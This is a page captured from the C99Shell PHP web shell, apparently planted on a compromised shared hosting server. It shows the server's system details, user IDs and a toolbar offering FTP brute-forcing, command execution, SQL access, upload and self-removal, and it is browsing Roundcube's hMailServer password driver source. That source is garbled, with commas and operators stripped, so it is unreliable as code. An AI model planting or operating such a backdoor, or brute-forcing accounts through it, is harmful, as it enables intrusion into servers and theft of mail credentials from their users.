!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/usr/share/roundcube/plugins/password/drivers/   drwxr-xr-x
Free 1.43 GB of 7.22 GB (19.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     hmail.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * hMailserver password driver
 *
 * @version 2.0
 * @author Roland 'rosali' Liebl <myroundcube@mail4us.net>
 *
 */

class rcube_hmail_password
{
    public function 
save($curpass$passwd)
    {
        
$rcmail rcmail::get_instance();

        if (
$curpass == '' || $passwd == '') {
            return 
PASSWORD_ERROR;
        }

        try {
            
$remote $rcmail->config->get('hmailserver_remote_dcom'false);
            if (
$remote)
                
$obApp = new COM("hMailServer.Application"$rcmail->config->get('hmailserver_server'));
            else
                
$obApp = new COM("hMailServer.Application");
        }
        catch (
Exception $e) {
            
write_log('errors'"Plugin password (hmail driver): " trim(strip_tags($e->getMessage())));
            
write_log('errors'"Plugin password (hmail driver): This problem is often caused by DCOM permissions not being set.");
            return 
PASSWORD_ERROR;
        }

        
$username $rcmail->user->data['username'];
        if (
strstr($username,'@')){
            
$temparr explode('@'$username);
            
$domain $temparr[1];
        }
        else {
            
$domain $rcmail->config->get('username_domain',false);
            if (!
$domain) {
                
write_log('errors','Plugin password (hmail driver): $rcmail_config[\'username_domain\'] is not defined.');
                
write_log('errors','Plugin password (hmail driver): Hint: Use hmail_login plugin (http://myroundcube.googlecode.com');
                return 
PASSWORD_ERROR;
            }
            
$username $username "@" $domain;
        }

        
$obApp->Authenticate($username$curpass);
        try {
            
$obDomain $obApp->Domains->ItemByName($domain);
            
$obAccount $obDomain->Accounts->ItemByAddress($username);
            
$obAccount->Password $passwd;
            
$obAccount->Save();
            return 
PASSWORD_SUCCESS;
        }
        catch (
Exception $e) {
            
write_log('errors'"Plugin password (hmail driver): " trim(strip_tags($e->getMessage())));
            
write_log('errors'"Plugin password (hmail driver): This problem is often caused by DCOM permissions not being set.");
            return 
PASSWORD_ERROR;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.025 ]--